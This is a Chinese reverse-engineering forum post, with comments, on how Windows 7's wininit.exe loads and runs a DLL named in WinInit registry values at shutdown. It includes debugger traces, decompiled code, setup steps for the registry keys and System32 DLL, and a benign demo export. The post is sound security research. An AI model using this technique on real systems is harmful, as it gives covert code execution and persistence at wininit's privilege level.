首页
论坛
课程
招聘
[原创]Win7 Wininit.exe任意加载/执行(漏洞)
2022-4-7 00:19 7488

[原创]Win7 Wininit.exe任意加载/执行(漏洞)

2022-4-7 00:19
7488

1.背景:

a.Windows关机时,将调用NtShutdownSystem Native API来执行关机动作。


b.在WinXp时代,用户执行"关机"后,将由winlogon.exe调用NtShutdownSystem API;但是到了Win7时代,winlogon.exe不再司此职,而是交由Wininit.exe调用NtShutdownSystem API。 


c.进入win10后,虽然Wininit.exe中仍保留WinInitShutdown及PerformSystemRestore函数,但关机时不会由WinInitShutdown调用NtShutdownSystem Native API。因此该任意加载/执行漏洞不适用于win10。


2.正文:

在Win7上,给nt!NtShutdownSystem下断点后,当用户点击"开始"菜单--"关机"后会得到下列函数调用栈:

#搜索NtShutdownSystem Native API并下断点
kd> x nt!NtShutdownSystem
8318c3e6 nt!NtShutdownSystem = <no type information>
kd> bp nt!NtShutdownSystem
 
 
#关机后,windbg会中断在WinInitShutdown函数
kd> g
Breakpoint 0 hit
nt!NtShutdownSystem:
8318c3e6 8bff            mov     edi,edi
kd> kb
ChildEBP RetAddr  Args to Child              
95472c28 82ba3173 00000002 0019f8e8 76fea364 nt!NtShutdownSystem
95472c28 76fea364 00000002 0019f8e8 76fea364 nt!KiFastCallEntry+0x163
0019f8c4 76fc1814 00326205 00000002 003220c8 ntdll!KiFastSystemCallRet
0019f9c4 77557646 7ffd7000 0019fa10 76ff0915 ntdll!NtShutdownSystem+0xc
0019f9d0 76ff0915 7ffd7000 88d9a0a3 00000000 kernel32!BaseThreadInitThunk+0xe
0019fa10 76ff0b71 0032f0cd 7ffd7000 00000000 ntdll!__RtlUserThreadStart+0x23
0019fa28 00000000 0032f0cd 7ffd7000 00000000 ntdll!_RtlUserThreadStart+0x1b

上述调用堆栈并没有体现和wininit的联系,我们切换到wininit进程,查看更具体的调用堆栈:

#枚举所有进程
kd> !process 0 0 
**** NT ACTIVE PROCESS DUMP ****
 
PROCESS 87bf19f0  SessionId: 0  Cid: 0180    Peb: 7ffd7000  ParentCid: 0148
    DirBase: 3fe820a0  ObjectTable: 99218a60  HandleCount:  88.
    Image: wininit.exe
 
#根据wininit的EPROCESS值,切换到wininit进程
kd> .process /i /p 87bf19f0  
You need to continue execution (press 'g' <enter>) for the context
to be switched. When the debugger breaks in again, you will be in
the new process context.
kd> g
Break instruction exception - code 80000003 (first chance)
nt!RtlpBreakWithStatusInstruction:
82b94a9c cc              int     3
#显示wininit进程更详细的信息 (包含线程及调用堆栈)
kd> !process 87bf19f0  7
PROCESS 87bf19f0  SessionId: 0  Cid: 0180    Peb: 7ffd7000  ParentCid: 0148
    DirBase: 3fe820a0  ObjectTable: 99218a60  HandleCount:  88.
    Image: wininit.exe
        THREAD 8e49c290  Cid 0180.0184  Teb: 7ffdf000 Win32Thread: ffb53978 WAIT: (Executive) KernelMode Non-Alertable
            95472958  SynchronizationEvent
            95472930  Semaphore Limit 0x12
        Win32 Start Address wininit!WinMainCRTStartup (0x0032f0cd)
        Stack Init 95472ed0 Current 95472708 Base 95473000 Limit 95470000 Call 0
        Priority 15 BasePriority 15 UnusualBoost 0 ForegroundBoost 0 IoPriority 2 PagePriority 5
        ChildEBP RetAddr  Args to Child              
        95472720 82a6a110 8e49c290 000031d8 00000000 nt!KiSwapContext+0x26 (FPO: [Uses EBP] [0,0,4])
        95472758 82a6b715 95472930 8e49c290 8e49c38c nt!KiSwapThread+0x394
        95472780 82a5bda6 8e49c290 8e49c350 00000000 nt!KiCommitThreadWait+0x461
        954728f8 83203019 00000002 95472974 00000001 nt!KeWaitForMultipleObjects+0x6d2
        95472980 83202d32 00000011 9762e350 00000004 nt!PopSleepDeviceList+0xe9
        954729d8 83202af3 95472a70 00000001 00000006 nt!PoBroadcastSystemState+0x236
        95472a00 83203d98 95472ad4 95472b58 8320398e nt!PopSetDevicesSystemState+0x63
        95472ac0 82ba3173 00000006 00000004 c0000004 nt!NtSetSystemPowerState+0x40a
        95472ac0 82b92c1d 00000006 00000004 c0000004 nt!KiFastCallEntry+0x163 (FPO: [0,3] TrapFrame @ 95472ad4)
        95472b44 83203a70 00000006 00000004 c0000004 nt!ZwSetSystemPowerState+0x11 (FPO: [3,0,0])
        95472c14 8318c418 00000006 00000004 c0000004 nt!NtSetSystemPowerState+0xe2
        95472c28 82ba3173 00000002 0019f8e8 76fea364 nt!NtShutdownSystem+0x32
        95472c28 76fea364 00000002 0019f8e8 76fea364 nt!KiFastCallEntry+0x163 (FPO: [0,3] TrapFrame @ 95472c34)
        0019f8c4 76fc1814 00326205 00000002 003220c8 ntdll!KiFastSystemCallRet (FPO: [0,0,0])
        0019f8c8 00326205 00000002 003220c8 003215a0 ntdll!NtShutdownSystem+0xc (FPO: [1,0,0])
!!----> 0019f8e8 00327f4e 00000002 00336904 00531ceb wininit!WinInitShutdown+0x186 (FPO: [Non-Fpo])
        0019f934 0032ef64 00320000 00000000 00531ceb wininit!WinMain+0xcd3 (FPO: [Non-Fpo])
        0019f9c4 77557646 7ffd7000 0019fa10 76ff0915 wininit!_initterm_e+0x1a1 (FPO: [Non-Fpo])
        0019f9d0 76ff0915 7ffd7000 88d9a0a3 00000000 kernel32!BaseThreadInitThunk+0xe (FPO: [Non-Fpo])
        0019fa10 76ff0b71 0032f0cd 7ffd7000 00000000 ntdll!__RtlUserThreadStart+0x23 (FPO: [Non-Fpo])
        0019fa28 00000000 0032f0cd 7ffd7000 00000000 ntdll!_RtlUserThreadStart+0x1b (FPO: [Non-Fpo])

逆向WinInitShutdown实现,发现它会调用内部函数:PerformSystemRestore

 逆向该PerformSystemRestore函数,还原得到如下示意代码(完整代码见附件wininit.idb):

MACRO_ERROR __stdcall PerformSystemRestore(void (__stdcall *a1)(const unsigned __int16 *))
{
 
  Status = RegOpenKeyExW(HKEY_LOCAL_MACHINE, L"SYSTEM\\CurrentControlSet\\Control\\WinInit", 0, 3u, &phkResult);
  Status = RegQueryValueExW(phkResult, L"RestoreInProgress", 0, &Type, Data, &cbData);
  if ( Type != 4 )
  {
    Status = ERROR_INVALID_DATA;
    goto LABEL_52;
  }
  if ( *(_DWORD *)Data )
  {
    cbData = 522;
    Status = RegQueryValueExW(phkResult, L"RestoreModule", 0, &Type, (LPBYTE)v11, &cbData);
    if ( Status || Type != 1 || cbData < 2 || *((_WORD *)&Status + (cbData >> 1) + 1) )
    {
      if ( Status == ERROR_SEVERITY_SUCCESS )
        Status = 13;
    }
    else
    {
      cbData = 261;
      Status = RegQueryValueExA(phkResult, "RestoreFunction", 0, &Type, &v13, &cbData);
      if ( Status || Type != 1 || cbData < 1 || *(&v12 + cbData) )
      {
        if ( Status == ERROR_SEVERITY_SUCCESS )
          Status = 13;
      }
      else
      {
        v2 = LoadLibraryW(v11);
        hLibModule = v2;
        if ( v2 )
        {
          ProcAddr = GetProcAddress(v2, (LPCSTR)&v13);
          if ( ProcAddr )
            goto LABEL_56;
          Status = GetLastError();
          if ( Status == ERROR_SEVERITY_SUCCESS )
            RtlAssert("ERROR_SUCCESS != dwRet", "d:\\w7rtm\\ds\\security\\umstartup\\wininit\\srestore.cxx", 0xA4u, 0);
        }
 
      }
    }
  }
 
LABEL_57:
  if ( ProcAddr )
  {
//调用RestoreFunction指向的函数
    ((void (__stdcall *)(_DWORD))ProcAddr)(a1);
  }
  if ( phkResult )
    RegCloseKey(phkResult);
  if ( hLibModule )
    FreeLibrary(hLibModule);
  return Status;
}

这段函数流程为:


1.检查注册表HKLM\SYSTEM\CurrentControlSet\Control\WinInit下是否有DWORD键RestoreInProgress;


2.如果RestoreInProgress存在,且值为1。则继续搜索是否存在字符串键RestoreModule和RestoreFunction;


3.如果RestoreModule和RestoreFunction键值存在,则调用LoadLibrary和GetProcAddress获得RestoreFunction函数地址;


4.以上步骤执行正确,则执行RestoreFunction所指向的函数。


3.利用方式:

发现了PerformSystemRestore函数的执行流程,对应的利用方式可以说是手到擒来:


1.在注册表HKLM\SYSTEM\CurrentControlSet\Control\WinInit下手动创建RestoreInProgress/RestoreModule/RestoreFunction三个键,如下:

 2.将RestoreModule指向的Dll放到%SystemRoot%/System32路径下,以下是我做的测试函数及导出函数,导出函数函数名必须与RestoreFunction的键值一致。出于演示目的,往c盘根目录下创建一文件:

extern "C" SHUTDOWNRESTORE_API int ShutdownRestore(void);
 
SHUTDOWNRESTORE_API int ShutdownRestore(void)
{
	FILE* flagFile;
	char ctmBegin[32] = {0};
	time_t tmNow = time(NULL);
	tm *ptmNow = localtime(&tmNow);
	strftime(ctmBegin, 32, "%Y%m%d%H%M%S", ptmNow);
	flagFile = fopen("c:\\loaded.txt","a+");
	fwrite(ctmBegin,32, 1, flagFile);
	fclose(flagFile);
	return 0;
}


3.关机时,即可执行RestoreFunction指向的代码,并且被加载的Dll具有和wininit.exe相同的权限!


[2023春季班]《安卓高级研修班(网课)》月薪两万班招生中~

上传的附件:
收藏
点赞5
打赏
分享
最新回复 (13)
雪    币: 329
活跃值: 活跃值 (1081)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
niuzuoquan 活跃值 2022-4-7 08:38
2
0
mark
雪    币: 3004
活跃值: 活跃值 (2371)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
caolinkai 活跃值 2022-4-7 08:43
3
0
mark
雪    币: 5881
活跃值: 活跃值 (2184)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
sunsjw 活跃值 1 2022-4-7 09:54
4
0
win10呢?
雪    币: 5420
活跃值: 活跃值 (3265)
能力值: ( LV12,RANK:240 )
在线值:
发帖
回帖
粉丝
hyjxiaobia 活跃值 2 2022-4-7 09:58
5
0
sunsjw win10呢?
win10不行,关机不走wininit.exe。但是这部分代码还在wininit中
雪    币: 2683
活跃值: 活跃值 (1881)
能力值: ( LV5,RANK:60 )
在线值:
发帖
回帖
粉丝
gamehack 活跃值 2022-4-7 10:06
6
0
MARK 感谢分享!
雪    币: 288
活跃值: 活跃值 (425)
能力值: ( LV6,RANK:90 )
在线值:
发帖
回帖
粉丝
Keoyo 活跃值 2 2022-4-7 10:08
7
1
HKLM的注册表权限需要Administrator才能修改吧...这种应该不算漏洞吧,有Administrator权限想提权直接psexec就可以了呀,这个还要关一下机..
雪    币: 5420
活跃值: 活跃值 (3265)
能力值: ( LV12,RANK:240 )
在线值:
发帖
回帖
粉丝
hyjxiaobia 活跃值 2 2022-4-7 10:22
8
0
Keoyo HKLM的注册表权限需要Administrator才能修改吧...这种应该不算漏洞吧,有Administrator权限想提权直接psexec就可以了呀,这个还要关一下机..
是要管理员权限,不过,有时候这几个注册表项是存在的
雪    币: 365
活跃值: 活跃值 (1649)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
kakasasa 活跃值 2022-4-7 11:09
9
0
感谢分享,看了下注册表win7 x64 旗舰版下没见WinInit项? 
雪    币: 5420
活跃值: 活跃值 (3265)
能力值: ( LV12,RANK:240 )
在线值:
发帖
回帖
粉丝
hyjxiaobia 活跃值 2 2022-4-7 11:15
10
0
kakasasa 感谢分享,看了下注册表win7 x64 旗舰版下没见WinInit项?
我x86有,不过貌似可以手动创建
雪    币: 365
活跃值: 活跃值 (1649)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
kakasasa 活跃值 2022-4-7 11:21
11
0
hyjxiaobia 我x86有,不过貌似可以手动创建
嗯,看来是系统差异,或者本机安全软件之类删除了。
雪    币: 5420
活跃值: 活跃值 (3265)
能力值: ( LV12,RANK:240 )
在线值:
发帖
回帖
粉丝
hyjxiaobia 活跃值 2 2022-4-7 12:00
12
0
kakasasa 嗯,看来是系统差异,或者本机安全软件之类删除了。
有可能,我是纯净系统
雪    币: 288
活跃值: 活跃值 (425)
能力值: ( LV6,RANK:90 )
在线值:
发帖
回帖
粉丝
Keoyo 活跃值 2 2022-4-11 10:36
13
0
hyjxiaobia 是要管理员权限,不过,有时候这几个注册表项是存在的
有选项修改也需要管理员权限呀,可以右键注册表项然后点权限,就可以看到对注册表项修改的权限,HKLM的注册表项一般情况普通用户只有读取的权限。
雪    币: 5420
活跃值: 活跃值 (3265)
能力值: ( LV12,RANK:240 )
在线值:
发帖
回帖
粉丝
hyjxiaobia 活跃值 2 2022-4-11 14:35
14
0
Keoyo 有选项修改也需要管理员权限呀,可以右键注册表项然后点权限,就可以看到对注册表项修改的权限,HKLM的注册表项一般情况普通用户只有读取的权限。
我比较怀疑,这几个注册表项跟系统恢复有关。当系统恢复的时候,会调用某个dll。撑死等这种机会
游客
登录 | 注册 方可回帖
返回